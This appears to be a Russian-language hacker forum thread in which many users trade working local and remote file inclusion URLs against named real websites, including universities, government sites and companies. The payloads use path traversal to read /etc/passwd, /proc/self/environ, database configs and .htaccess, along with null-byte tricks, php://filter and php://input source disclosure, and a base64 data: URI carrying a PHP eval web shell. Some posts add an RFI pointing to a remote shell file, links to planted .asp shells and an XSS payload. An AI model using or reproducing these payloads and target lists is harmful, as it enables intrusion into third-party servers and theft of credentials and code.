Интересный инклюд:
http://skdover.ru/main.php?id=[url]&page=[inc. file name]
пример:
http://skdover.ru/main.php?id=http://profismart.ru&page=index
расширение инклюдируемого файла *.Php

[lzr]

http://www.mebel-online.ru/index.htm?File=../../../../../../../../../../etc/passwd

[Bb0y]

LFI
http://www.claregolf.ca/page.php?page=../../../../etc/passwd
and
RFI
http://www.claregolf.ca/page.php?page=[URL]
пример:

http://www.claregolf.ca/page.php?page=http://forum.antichat.ru/index.php

[lzr]

http://www.stanthony-hawthorne.org/index.htm?page=../../../../../../../../../../etc/passwd

[Bb0y]

http://www.kanzleikormaier.de/vorschau.php?page=../../../../../../etc/passwd

[lzr]

http://www.edba.in.th/AboutUs/static01.php?FL=../../../../../../../../../../etc/passwd

[Ctacok]

http://selaus.com/?pg=../index
Заработай бабла...

[lzr]

http://www.afl.ru/index.php?c=germany&lang=ru&cont=../../../../../../../../../../../../etc/passwd

[Konqi]

едушка

http://content.hccfl.edu/pollock/PHP/lister.php?file=C:\boot.ini&linenums

http://content.hccfl.edu/pollock/PHP/lister.php?file=C:\ntldr&linenums

http://content.hccfl.edu/pollock/PHP/lister.php?file=C:\ntdetect.com&linenums

allow_url_include=On Ho! php файлы не интерпретируются

PR-6

[qq6ka]

http://autobus.cyclingnews.com/road/2009/apr09/roubaix09/?id=../../../../../../../../etc/passwd%00

[Konqi]

Университет штата Джорджия

http://www.rhetcomp.gsu.edu/~gpullman/3080/template.php?assignments&file=../../../../../../etc/passwd

PR-7

тИЦ-475

---------------------------------------------------
http://www.langarts-edu.com/showfile.php?FILE=../../../../../../../../etc/hosts

http://www.langarts-edu.com/showfile.php?FILE=../../../../../../../../etc/passwd

[lzr]

http://noni-nsk.ru/new.php?n=../configuration.php

смотри в исходный код

[Virologist]

http://svaltera.zp.ua/index.php?inc=../../../../../../../../etc/passwd

[Ctacok]

http://www.humboldtschule-berlin.de/profil/profil.php?ID=../include/chinesisch

%00 не канает.

[Virologist]

http://rastaman.tales.ru/index.php?page=/etc/passwd%00
http://www.bluethner.ru/modelle/mcontent.php?page=/etc/passwd - Ctrl+A ;)
http://www.dekolink.ru/index.php?page=/etc/passwd
http://belfilarmony.ru/index.php?page=/etc/passwd&id_news=27&year=2010

[Konqi]

Международная ассоциация специалистов по сельскому хозяйству

http://www.iaald.org/index.php?page=/httpd/html/iaaldorg/www/members.php

PR-6

-------------------------------------------------------------------------------------
Bishop's Stortford Town Council

http://www.bishopsstortfordtc.gov.uk/download.php?file=../../../../../../../etc/hosts

http://www.bishopsstortfordtc.gov.uk/download.php?file=../../../../../../../../../etc/passwd

PR-4

[Bb0y]

http://ballhockey.com/index.php?p=../../../../../../../etc/passwd
and
http://www.chateauderazay.com/index.php?goto=../../../../../etc/hosts
and
http://www.uni-selectcanada.com/eng/page.php?page_id=../../../../etc/hosts&execute=1&div_id=14

[Gorev]

http://www.beauty.f-dom.com/?x=../../../../../../../../../../../etc/passwd%00

[Bb0y]

http://maclaycrew.org/index.php?page=../../../../../../../etc/passwd
and
http://www.chiangmaiadventure.co.th/?file=../../../home/donot6/public_html/index.php&lg=th&sd=&yyyymm=200908&title=

[Konqi]

http://www.hayat.az/index.php?open=1&page=../../../../../../../home2/hayataz/public_html/index

[X-3me]

http://www.nbas.ch/index.php?menu=../../../../../../../../../../../../etc/passwd%00
http://lymphaticdiseasessociety.org/main.php?menu=../../../../../../../../../../../../proc/self/status%00&content=donate-financial
http://allianceoflymphaticdiseases.org/main.php?menu=../../../../../../../../../../../../proc/self/status%00&txt=Fundraising%C2%A0/%C2%A0Events

[wildshaman]

PR 4
http://www.horselaw.com/index.php?b=../../../../../../../../etc/passwd%00

PR4
http://www.tzell.com/index.php?b=../../../../etc/passwd%00

[wildshaman]

http://www.philol.msu.ru/~umo/include.php?url=../functions.php
сайт филологического факультета МГУ имени М. В. Ломоносова

[Konqi]

http://www.westernreservepsych.com/at.php?incfile=../../../../../etc/hosts

http://www.westernreservepsych.com/at.php?incfile=../../../../../etc/passwd

[gars0n]

http://billyblock.com/home.php?pg=../../../../../etc/passwd%00
http://www.gloriousnoise.com/?pg=../etc/passwd

[*uNkN0Wn*]

http://www.sampleswap.org/filebrowser-new.php?d=../../../../../../../
PR-5

[*uNkN0Wn*]

http://www.vcdh.virginia.edu/index.php?page=../../../../../etc/passwd%00
тИЦ — 10
PR — 6

[Konqi]

http://www.anandkrishna.org/english/index2.php?isi=../../../../../../../../etc/passwd

http://www.anandkrishna.org/english/index2.php?isi=../../../../../../../../etc/hosts

path

/home/sloki/user/t12983/sites/anandkrishna.org/www/

PR-4

----------------

http://www.ict4dasean.org/index2.php?main=../../../../../../../../../../etc/passwd

http://www.ict4dasean.org/index2.php?main=../../../../../../../../../../etc/hosts

PR-5

----------------

http://datasunda.org/php/dnl.php?type=ri&file=../../../../../../../../../../etc/passwd&titre=passwd
-----------

http://ansc.niu.edu.tw/download.php?filename=passwd&dir=../../../../../../../../../etc&title=passwd

PR-4

[Konqi]

RFI

http://www.mmcedu.org/view/lang/index.php?page=&domain=100 (http://[/COLOR]&domain=100[/B])[/COLOR][/B]

[547]

http://www.inwirklichkeittraeumer.de/index.php?cat=../../../../../../../../../proc/self/environ



http://www.qsander.de/index.php?cat=../../../../../../../../etc/passwd&lang=EN&id=



http://www.medisol.cz/index.php?cat=/home/custom/exac/hosting/medisol_cz/web/www.medisol.cz/index.php



http://www.enterprise-europe-network.ch/marketplace/index.php?file=../../../../../../../../../../proc/self/fd/11

[Konqi]

http://www.nlcindia.com/index.php?file_name=../../../../../../../etc/passwd


PR-6

[547]

http://www.dzmelnik.cz/index.php?url=/www/doc/www.dzmelnik.cz/www/index.php



http://www.ko-hobby.cz/index.php?url=/data/www/www_ko-hobby_cz/index.php

[Konqi]

http://www.athenisfinlandiae.com/indexInE.php?page=../../../../../../../../../etc/passwd

[CyberHunter]

http://www.articles-portal.ru/index.php?template=system&option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00

------

http://www.4kidsinpa.com/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00

------

http://www.asictonline.org/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00

------

http://rapidrant.com/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00

------

http://www.myworksecrets.com/index.php?template=system&option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00

------

http://www.conservativecamp.com/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00

PR: 4

[X-3me]

http://радиосибирь.рф/index.php?view=../../../../../../proc/self/status%00

[CyberHunter]

http://www.teabagfree.com/index.php/events/month.calendar/2010/01/01/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00

------------

http://www.coremagazinevi.com/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00

PR: 1

------------

http://www.mycrazyclient.com/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00

PR:1

-------------

http://borchardtbrothers.com/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00

-------------

http://www.amdas.co.uk/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00

------------

[Komyak]

http://asuimp.com/exe.cgi?HTMLFORM=../../../../etc/passwd

Google: 4 Yandex: 350

[BrainDeaD]

http://sofs.cc/index.php?page=D:\hosting\member\SOFS\site1\conten t.php%00

[total90]

http://www.antiherpes.ru/show.php?id=../../../../../etc/passwd

в тайтле

PR2

[Kabare]

Remote File Inclusion

http://www.svetyashki.ru/gallery.php?page=

http://www.svetyashki.ru/gallery.php?page=phpinfo();

Konqi: вместо шелла пишем [URL]

[Byte_]

http://selling-avto.com/index1.php?con=[URL]

Можно подключить любой php файл, например:


http://selling-avto.com/index1.php?con=http://mysite.ru/myshell

[Konqi]

http://www.dmt-biax.com/i-make.php?user=dmt&vorlage=vorlage.php&file=../../../../../../../../../etc/passwd&newsid=1945

PR-6

-----------

http://www.ictprofiles.at/index.php?file=../../../../../../../../../../etc/passwd&branche=5.

PR-6

-----------

http://www.gusswerk.net/i-make.php?user=gusswerk&vorlage=flash.php&file=../../../../../../../../../etc/passwd&newsid=2250

PR-4

[547]

http://www.crusaders.cz/index.php?file=../../../../../../../../etc/passwd

http://www.peteralsop.com/index.php?inc=../../../../../../../../../etc/issue

http://agrofranjalp.com.ar/page/2/index.php?inc=../../../../../../../../../../etc/passwd

http://www.ratikaclinic.com/index.php?file=/home/ratikacl/public_html/.htaccess

[_Pantera_]

http://nobeltec.ru/index.php?link=[RFI]

http://nobeltec.ru/news/data/upimages/dem0n_ra/img.php

[Dare]

http://alta-tour.net/priem_spb.php?id=../../../../etc/passswd

[Unknown]

http://mardigrasday.com/mardigras/food.php?file=../../../../etc/passwd

PR - 5


http://www.kkm.lv/modules.php?file=../../../../../../../etc/passwd%00&name=Forums&p=256953

тИЦ - 30

PR - 3

[daniel_1024]

http://alternativeautosource.net/index.php?link=php://filter/convert.base64-encode/resource=index.php

декодируем из base64 и получаем исходник страницы


http://nobeltec.ru/index.php?link=data:application/x-httpd-php;base64,PD8gZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTsgPz4 =&cmd=phpinfo();

смотри в код страницы и видим там phpinfo

[AC//DC]

http://www.tybet.ru/cgi-bin/index.pl?id=10&artid=/etc/passwd

[<Cyber-punk>]

PR - 3




http://www.asictonline.org/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00

[547]

http://www.speakerplans.com/index.php?id=index.php%00

[Konqi]

http://art.less.ly/index.php?dir=../../../../../../../../../../../../etc

http://art.less.ly/index.php?dir=////////////var/www

opendir()

readdir()

closedir()

[daniel_1024]

Можно загружать любые файлы с сервера:


http://www.tuscanycable.com/download.php?file=../db_login.php



http://www.sosdogs.org/download.php?file=download.php



http://institut-africain-droit-environnement.org/download.php?file=Connect.php

[попугай]

http://www.arlingtonpd.org/index.asp?nextpg=/images/CALEAlogo.jpg

ASP-инклюд

[попугай]

http://www.da.gov.ph/newindex2.php?pass=/etc/passwd

[Konqi]

это одинь из моих любимых сайтов, который я посещал в течении трех лет ( да и сейчас посещаю)

http://lprussia.com/index.php?page=../../../../../../../../../../../../etc/passwd%00&id=photos&this_id=text

+XSS

http://lprussia.com/index.php?page=">alert('Linkin Park Rulls')&id=photos&this_id=text

не делайте плохого

[Konqi]

http://sims2pack.modthesims2.com/index.php?page=../index

расширение так и не смог отрезать

-----

http://www.suprapolix.com/index.php?page=../index.php%00

-----

http://www.opticaldocumentsecurity.com/index.php?page=../../../../../../../../../../../../proc/self/environ

[Unknown]

Довольно известная мобильная социальная сеть GyPSii


http://www.gypsii.com/reader.cgi?id=../../../../../../../../etc/passwd%00

PR - 5

[nullik]

http://corporatedatinginternational.com/index.php?page=../../../../../etc/passwd

[[Feldmarschall]]

BANCO CENTRAL DEL ECUADOR

http://www.bce.fin.ec/docs.php?path=/docs.php

[Konqi]

http://www.quantum-electron.ru/pa.phtml?page=../../../../../../../../../../etc/passwd%00

[*uNkN0Wn*]

http://www.alushta.ua/index.php?option=com_wmi&controller=../../../../../../../../../etc/passwd%00

[z0mbyak]

Ну, собственно, и мои пять копеек


http://www.wesoma.de/index.php?include=../../../../../../etc/passwd%00

[Strilo4ka]

http://polyakovprud.dp.ua/index.php?page=/../../../../../../../../../proc/self/environ



http://mir-audio.com.ua/admin/file_manager.php/login.php?action=download&filename=includes/configure.php

для последнего: /showthread.php?t=71111 можно админа добавить и тупо под ним зайти

[daniel_1024]

php://input

выполнение произвольного php - кода, редко вижу.

итак, выполняем следующие пост-запросы:


POST /index.php?link=php://input HTTP/1.1
Host: www.alternativeautosource.net
Content-Length: 19




POST /lang_de/main.php?view=php://input HTTP/1.1
Host: www.galvania.ca
Content-Length: 19




POST /page_en.php?link=php://input HTTP/1.1
Host: www.rochelle.cz
Content-Length: 19


и видим PHPINFO серверов


POST /WWW/main.php?CONTENT=php://input HTTP/1.1
Host: polyplast-mainz.de
Content-Length: 27


а тут листинг директории))

[*uNkN0Wn*]

http://www.sexycamnow.com/index.php?option=com_alphauserpoints&view=../../../../../../../../../../etc/passwd%00



http://grindhouze.com/cms/index.php/recent/index.php?option=com_alphauserpoints&view=../../../../../../../../../../etc/passwd%00



http://www.semiprice.fr/index.php?option=com_alphauserpoints&view=../../../../../../../../../../etc/passwd%00

[Konqi]

http://www.tierheim-spanien.de/thspa.php?inc=../../../../../../../../../../etc/passwd%00

[Konqi]

RFI

http://www.axode.com/en/products.php?module_catalogue_page= (http://[/color][/B])[/COLOR][/B]

[Chi]

Один из крупнейших порталов по теме образования в Латвии :


http://shkola.lv/index.php?mode=goods&page=../../../../../etc/passwd%00

[Keltos]

http://www.hyaffiliates.com/affiliate/scripts/showPop.php?special=1&banner_content=file:///etc/passwd&impression_content=image&clickurl=image



http://pheromore.com/affiliate/scripts/showPop.php?special=1&banner_content=file:///etc/passwd&impression_content=image&clickurl=image



http://www.4xwins.com/affiliate/scripts/showPop.php?special=1&banner_content=file:///etc/passwd&impression_content=image&clickurl=image



http://www.blastarticles.com/affiliate/scripts/showPop.php?special=1&banner_content=file:///etc/passwd&impression_content=image&clickurl=image



http://www.attractingabundance.com/affiliate/scripts/showPop.php?special=1&banner_content=file:///etc/passwd&impression_content=image&clickurl=image



http://www.parentcoachplan.com/affiliate/scripts/showPop.php?special=1&banner_content=file:///etc/passwd&impression_content=image&clickurl=image

[ubi]

http://www.wirtualnailawa.pl/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00

[547]

http://www.virtualiroma.it/index.php?open=/web/htdocs/www.virtualiroma.it/home/index.php

http://www.giardinodiroma.eu/index.php?open=../../../../../../../etc/issue

[valyka80]

http://www.smacworld.com/new/index.php?p=../../../../../../../../../../proc/self/environ

Кому интересно там есть шелл,

но немогу rootkit поставить нет еще сплоитов

[попугай]

http://wierzba.wzks.uj.edu.pl/~dymet/zarty/index.php?go=/etc/passwd%00

http://www.fav.co.il/index.php?dir=app_sites&page=../../../../../../../etc/hosts%00

[Konqi]

http://www.equinix.com/download.php?file=../../../../../../../../../../../../../etc/passwd

http://www.hrcpa.com/press/index.php?file=../../../../../../../../../../etc/passwd (--> исходники)

[valyka80]

http://www.e-ntech.com/index.php?page=../../../../../../../../../../etc/passwd

http://www.hiro-seiko.com/index.php?page=../../../../../../../../../../etc/passwd

http://www.mitorosso.com/index.php?p=../../../../../../../../../../etc/passwd

http://www.maxparts.ru/index.php?page=../../../../../../../../../../etc/passwd

http://athomebirmingham.com/index.php?p=../../../../../../../../../../etc/passwd

http://www.myspacegraphicshelper.com/index.php?page=../../../../../../../../../../etc/passwd

http://www.opticaldocumentsecurity.com/index.php?page=../../../../../../../../../../etc/passwd

http://www.amarc.org/index.php?p=../../../../../../../../../../etc/passwd

http://www.madrid21comunidad.fida.es/index.php?pagina=../../../../../../../../../../proc/self/environ

удачи

[Konqi]

http://www.radioexpress.com/public/content.php?loc=../../../../../../etc/my.cnf

[<Cyber-punk>]

PR - 1


http://www.4kidsinpa.com/index.php?option=com_jesubmit&view=../../../../../../../../../etc/passwd%00



http://www.andycon.net/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd

PR - 2



http://westcoastghosthunters.com/index.php?option=com_jesubmit&view=&view=../../../../../../../../../../../../../etc/passwd%00



http://westcoastghosthunters.com/index.php?option=com_jesubmit&view=&view=../../../../../../../../../../../../../etc/passwd%00


PR - 4


http://www.kommunisten.de/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00

PR - 5


http://www.armnn.ru/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00



http://www.teabagfree.com/index.php/events/day.listevents/2009/11/19/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00



PR - 3



http://www.svkronenberg.nl/beugelen/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00

PR - 1


http://borchardtbrothers.com/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00



http://www.svkronenberg.nl/beugelen/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00



http://www.oranjportal.com/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00



http://www.aliveinchrist.org/index.php/templates/templates/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00

[valyka80]

http://www.rhianna.ro/index.php?page=../../../../../../../../../../proc/self/environ

http://www.vapnet.com.br/index.php?pagina=../../../../../../../../../../proc/self/status

http://www.mutokukai.ru/iframe.php?target=../../../../../../../../../../etc/passwd

[<Cyber-punk>]

http://www.wirtualnailawa.pl/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00

http://www.popular-articles.ru/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00

http://www.kucha-statey.ru/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00

http://www.articles-top.ru/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00

http://www.articlesgallery.ru/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00

http://www.top-statey.ru/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00

http://monsterspray.biz/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00

http://www.asictonline.org/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00

[valyka80]

http://climate.rutgers.edu/snowcover/docs.php?target=../../../../../../../../../../etc/passwd%00

[SHiNiGaMi]

http://www.playfish.com/?page=/etc/passwd%00

http://rastaman.tales.ru/?page=/etc/passwd%00

[Konqi]

www.promariner.com/download.php?file=../../../../../../../../etc/passwd

[daniel_1024]

http://allrus.info/APL.php?h=/../../../../../../etc/logrotate.d/vsftpd.log

http://allrus.info/APL.php?h=/../../../../../../etc/httpd/conf/httpd.conf

http://allrus.info/APL.php?h=/../../../../../../etc/passwd

http://allrus.info/APL.php?h=/../../../../../../etc/my.cnf

[Konqi]

http://www.fria.com.au/fria.php?page=../../../../../../../../../home/rirdc/.htpasswds/test/admin/passwd

[z0mbyak]

http://www.summer-fun.info/ru/index.php?pageid=php://filter/convert.base64-encode/resource=index

Декодим из Base64 и читаем код индекса

[Konqi]

http://www.pogpet.am/sis/index.php?page=/var/log/dmesg

[[Feldmarschall]]

http://metanohi.org/browse/no-js.php?u=../../../etc/passwd

с лева читалка всех файлов..

уязвимый код: browse/no-js.php


getraw();

$tt="\n";

$path= array();



functionadd($arr) {

global$tt,$path;

while ($c=current($arr)) {

$key=key($arr);

$carr=$arr[$key];



if ($key!='*files*') {

$path[sizeof($path)] =$key;

$tt.="$key";



if (is_array($carr))

add($carr);



$files=$arr[$key]['*files*'];

if (is_array($files)) {

$spath=implode('/',$path) .'/';

if (sizeof($arr[$key]) >1)

$tt.=" ";

foreach ($filesas$file) {

$addr=$spath.$file;

if (substr($file,strlen($ file) -1,1) !='~')

$tt.="$file";

}

}

array_splice($path,sizeof($path) -1);



$tt.="";

}

next($arr);

}

}



add($lr);

$tt.=" ";

foreach ($lr['*files*'] as$file) {

if (substr($file,strlen($file) -1,1) !='~')

$tt.="$file";

}

$tt.="";

}

$name=$_GET['u'];

if (!$name) {

$name='vijuv';

$namet='#';

$nametp='#';

}

else {

$namet="../$name";

$nametp="../:$name";

}

$text= include('get.php');

if (!$text)

$text='Click on a filename in the left pane to show the content of that file.';

?>

[valyka80]

http://townofryeny.gov:80/index.php?act=downloads&file_name=../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

[Konqi]

http://www.sexpistolsofficial.com/index.php?module=../../../../../../../../../../../../../etc/httpd/conf/httpd.conf%00

[Unknown]

http://www.aroundthecapitol.com/code/getcode.html?file=../../../../../etc/passwd

[<Cyber-punk>]

Довесочек:


http://www.cieloenterprises.com/opmagazine/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00
http://antiguadaily.com/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00
http://www.carvercobras.org/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00


И PR-6


http://www.yfg.ie/index.php?template=system&option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00

[daniel_1024]

http://otl.pomona.edu/main.php?p=../../../../../../etc/passwd%00

[Bramin]

http://integ625.rsjp.net/file.php?id=../../../../../../../../etc/passwd

http://www.technicalfacilitation.com/get.php?link=../../../../../etc/passwd%00

[pinch]

http://www.wa-mongols.org/site/index.php?option=com_jesubmit&view=../../../../../../../../../../etc/passwd%00&Itemid=4

http://www.protectedchildren.org/index.php?option=com_jesubmit&view=../../../../../../../../../../etc/passwd%00&Itemid=58

[547]

http://www.arborbooks.com/index.php?id=index.php

[~d0s~]

Тиц 90,PR 4

http://gati-online.ru/index.php?option=com_ckforms&controller=../../../../../../../../etc/passwd%00

[$n@ke]

читалка


http://www.bhf-bank-stiftung.de/cgi-bin/ausgabe.pl?nummer=../../../../../../../../../../homepages/4/d193318947/htdocs/bhf-bank-stiftung/cgi-bin/ausgabe.pl%00&rubrik=1

[SHiNiGaMi]

http://www.caldera.com/en/news.php?page=123

http://www.britannica.com.au/pages.asp?page=pages.asp

[DeepBlue7]

http://www.fableportal.net/DOF/reader/Reader.php?id=Reader.php%00

[Konqi]

http://www.summerschoolalpbach.at/index.php?file=.htaccess

[nemaniak]

http://aren.org/newsletter/2007-litha/action.php?num=../../../../../../../../../etc/passwd%00

POST

[Hack_ERR++]

http://www.filllpg.co.uk/index.php?page=/etc/passwd

[LiRvD082]

http://www.letstalkwatch.com/shop/index.php?route=../../../../../../../etc/passwd%00

[nemaniak]

http://shareaza.sourceforge.net/?id=../../../../../../../../../../etc/passwd%00

[jrxsystem]

http://www.theschoolhouseinn.net/pkg/includes/cart.inc.php?dir_path=http://kabooos.persiangig.com/shell/2010.txt?



http://www.kamparkab.go.id/index.php.../etc/passwd%00



http://dev.peliton.net/Portals/0/h.asp;.jpg.jpg



http://navymemorial.org/Portals/0/Mast3rJ0int.asp;.jpg



http://www.vsa-software.com/mlsportfolio/index.php?content=../../../../../../etc/passwd%00



http://www.cazino-monteoru.ro/index.php?pg=../../../../etc/passwd

[dirtybiz]

http://diuf.unifr.ch/pai/education/2006_2007/ca/index.php?page=../../../../../../../../../../../../../../etc/passwd


PR ~6, в индексе почти 20 000 страниц может куми-нибудь пригодится)

[Gedj]

http://www.tierhilfe-spanien.de/thspa.php?inc=../../../../../../../etc/passwd%00
http://www.albersfoundation.org/Albers.php?inc=../../../../../../../../../etc/passwd%00

[rootmd]

h_ttp://www.kemtipp.ru/show.php?f=../../../../etc/passwd

[Konqi]

http://www.sintraems.org.br/main.php?pg=/proc/self/environ

Header:


Host
User-Agent :
Accept
Accept-Language
Accept-Encoding
Accept-Charset
Keep-Alive
Connection

[Komyak]

http://www.ra-dar.ru/index.php?path=../../../../etc/passwd
http://www.ra-dar.ru/index.php?path=../htdocs/

[Konqi]

http://www.racetools.de/index.php?page=/etc/passwd

http://www.soulbrasil.com/index.php?page=/proc/self/environ

http://www.eschoolbc.com/?page=../../../../../../../../../../proc/self/fd/2%00

http://www.undp.org.al/index.php?page=../../../../../../../../../../proc/self/fd/14%00

http://www.bornathleticstore.com/blog.php?page=../../../../../../../../../proc/self/environ

http://www.modelspromo.com/index.php?page=../../../../../../../../../../../../etc/my.cnf

http://www.placeneeded.com/index.php?page=../../../../../../../../../../var/log/dmesg

http://www.keewatinmaritimemuseum.com/?page=../../../../../../../../../../../proc/self/fd/7

http://www.gardenhoodatlanta.com/admin/index.php?page=../../../../../../../../proc/self/fd/1

http://www.khandelwalweds.com/index.php?id=../../../../../../../../proc/self/maps

http://www.asuslaptop.com/index.php?page=../../../../../../../../../proc/sys/../self/cmdline

[nemaniak]

http://www.avionews.com/index.php?corpo=../../../../../../../../../../etc/passwd

[Lestatkiy]

http://www.dailymail.com/ap/ApWorld/201103181127?page=../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf%00

[Konqi]

http://www.matchplaytennis.com/index.php?page=php://filter/convert.base64-encode/resource=index



';



/*

Check for the page variable. If it is empty or

uninitialized, set it value to the default or

home page.

*/



if ( isset($_GET['page']) || !empty($_GET['page']) )

{



$page=$_GET['page'];





}else{

$page="home";

}

$sanitycheck=strpos($page,"http");







if ($sanitycheck===false) {

// Include the specified page.

//include(realpath(basename($page)));

include($page.".php");

}

else {

die("Possible PHP Injection Attack");

}



//echo "";

// Diplay the footer

require_once("footer.php");

?



интересная протекция )

[Konqi]

читалюга

http://www.vintagetoys.com/help.php?template=../../../../../../home/twinkles/public_html/dbconnection.php%00

[ta-kyn]

[IP 208.125.234.183]


http://web2.paulsmiths.edu/PAGE=../etc/passwd

[LiRvD082]

http://www.letstalkwatch.com/shop/index.php?route=../../../../../../../etc/passwd%00

Пользуйтесь на здоровье!

[eclipse]

LFI :: kruta.ee :: PR - 3


_http://www.kruta.ee/main.php?lang=est&pg=../../../../../../data03/virt6224/domeenid/www.kruta.ee/htdocs/func

[Expl0ited]

http://people.clarkson.edu/~williaem/ew/home2.php?file=/etc/passwd

allow_url_include = on + никакой фильтрации

[Tigger]

http://www.ub.edu/histeco/eng/membre.php?page=../../../../../etc/passwd

[SHiNiGaMi]

http://jedit.org/index.php?page=/etc/passwd%00

[wkar]

http://www.skincarenet.org/news.php?include=../../../../../etc/passwd%00

[Expl0ited]

http://www.pcbodega.com/pcb2/aboutus.php?lik=data:,%3C?php%20phpinfo();?%3E

[Coole_r]

http://www.zfmsh.nsu.ru/zfmsh/index.php?name=../../../../../../etc/passwd

[попугай]

http://afob.com/router.php?poll=php://filter/convert.base64-encode/resource=poll_politics_saudi_arabia/